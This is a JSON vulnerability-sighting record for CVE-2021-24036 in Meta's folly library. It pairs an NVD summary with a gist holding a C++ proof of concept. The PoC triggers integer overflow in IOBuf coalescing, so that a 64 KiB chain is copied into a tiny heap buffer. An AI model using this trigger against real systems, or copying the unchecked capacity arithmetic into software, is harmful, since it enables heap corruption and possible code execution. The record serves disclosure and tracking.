{"vulnerability": "cve-2021-24036", "sightings": [{"uuid": "84f848dd-8901-4f45-ace8-c172fbd79408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24036", "type": "seen", "source": "https://t.me/cibsecurity/26431", "content": "\u203c CVE-2021-24036 \u203c\n\nPassing an attacker controlled size when creating an IOBuf could cause integer overflow, leading to an out of bounds write on the heap with the possibility of remote code execution. This issue affects versions of folly prior to v2021.07.22.00. This issue affects HHVM versions prior to 4.80.5, all versions between 4.81.0 and 4.102.1, all versions between 4.103.0 and 4.113.0, and versions 4.114.0, 4.115.0, 4.116.0, 4.117.0, 4.118.0 and 4.118.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-23T07:37:06.000000Z"}, {"uuid": "b105f2a3-d3d4-46cf-92b5-f061a308e0fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24036", "type": "seen", "source": "https://gist.github.com/shaggyinsomniac/9be3b6598ee0148b3837849a0f2996f6", "content": "// PoC: IOBuf coalesce capacity overflow at folly HEAD 8084fdec (2026-08-27)\n// Both integer-overflow fixes were re-reverted on 2026-08-21:\n//   78ea997 reverted D116335797 (coalesceAndReallocate guard)\n//   cebec52  reverted D116669664 (cloneCoalescedAsValueWithHeadroomTailroom guard)\n// Live code: folly/io/IOBuf.cpp:863 and :1043\n//   const std::size_t newCapacity = newLength + newHeadroom + newTailroom;  (unchecked)\n#include \n#include \n#include \n#include \n#define DCHECK(x) ((void)0)\n#define DCHECK_LE(a,b) ((void)0)\n#define DCHECK_LT(a,b) ((void)0)\n#define DCHECK_GE(a,b) ((void)0)\n#define DCHECK_GT(a,b) ((void)0)\n#define DCHECK_EQ(a,b) ((void)0)\n#define DCHECK_NE(a,b) ((void)0)\n#define DCHECK_NOTNULL(x) (x)\n#include \n\nusing namespace folly;\n\nstatic std::unique_ptr makeChain() {\n  auto a = IOBuf::copyBuffer(\"hello\", 5);\n  auto b = IOBuf::copyBuffer(\"world\", 5);\n  a->insertAfterThisOne(std::move(b));\n  return a;\n}\n\nint main(int argc, char** argv) {\n  setvbuf(stdout, NULL, _IONBF, 0);\n  int which = argc > 1 ? atoi(argv[1]) : 1;\n  constexpr auto kMax = std::numeric_limits::max();\n  if (which == 1) {\n    printf(\"[*] path 1: cloneCoalescedWithHeadroomTailroom(SIZE_MAX, SIZE_MAX)\\n\");\n    auto chain = makeChain();\n    printf(\"[*] chain built, calling cloneCoalescedWithHeadroomTailroom...\\n\");\n    auto cloned = chain->cloneCoalescedWithHeadroomTailroom(kMax, kMax);\n    printf(\"[!] survived, cloned capacity=%zu len=%zu\\n\", cloned->capacity(), cloned->length());\n  } else if (which == 2) {\n    printf(\"[*] path 2: coalesceWithHeadroomTailroom(SIZE_MAX, SIZE_MAX)\\n\");\n    auto chain = makeChain();\n    printf(\"[*] chain built, calling coalesceWithHeadroomTailroom...\\n\");\n    auto br = chain->coalesceWithHeadroomTailroom(kMax, kMax);\n    printf(\"[!] survived, br size=%zu\\n\", br.size());\n  } else {\n    // Large-chain clean-geometry variant (the CVE-2021-24036-shaped case):\n    // a 64 KiB chain, newHeadroom=0, newTailroom chosen so that\n    //   newCapacity = newLength + 0 + newTailroom  wraps to exactly 1.\n    // allocExtBuffer rounds up to the minimum ext-buffer size (goodExtBufferSize),\n    // but no rounding floor is anywhere near 64 KiB - the subsequent copy of\n    // newLength bytes into that minimum allocation is a genuine large heap\n    // buffer overflow WRITE. Under -fsanitize=address this is a precise\n    // \"WRITE of size 65536\" report; in plain builds it smashes heap metadata.\n    printf(\"[*] path 3 (large chain): coalesceWithHeadroomTailroom(0, SIZE_MAX-len+2)\\n\");\n    auto chain = makeChain();\n    static const char block[1024] = {'A'};\n    for (int i = 0; i < 64; ++i) {\n      chain->insertAfterThisOne(IOBuf::copyBuffer(block, sizeof(block)));\n    }\n    auto totalLen = chain->computeChainDataLength();\n    printf(\"[*] chain length = %zu bytes; newCapacity wraps to 1\\n\", totalLen);\n    printf(\"[*] calling coalesceWithHeadroomTailroom(0, SIZE_MAX-%zu+2)...\\n\",\n           totalLen);\n    auto br = chain->coalesceWithHeadroomTailroom(0, kMax - totalLen + 2);\n    printf(\"[!] survived, br size=%zu (heap corrupted)\\n\", br.size());\n  }\n  return 0;\n}\n// jemalloc stub (macOS PoC build only): define the function pointer that\n// folly/memory/detail/MallocImpl.cpp would normally dlsym.\n\n// Stubs for folly error-path machinery not needed by the PoC (macOS standalone build).\nnamespace folly {\nstd::exception_ptr current_exception() noexcept { return {}; }\nconst char* demangle(const char* x) { return x; }\nnamespace detail {\nstd::type_info const* exception_ptr_get_type_(std::exception_ptr const&) noexcept { return nullptr; }\nvoid* exception_ptr_get_object_(std::exception_ptr const&, std::type_info const*) noexcept { return nullptr; }\nstd::type_info const* exception_ptr_exception_typeid(std::exception const& e) noexcept { return &typeid(e); }\n} // namespace detail\n} // namespace folly\n", "creation_timestamp": "2026-08-28T14:30:31.075701Z"}]}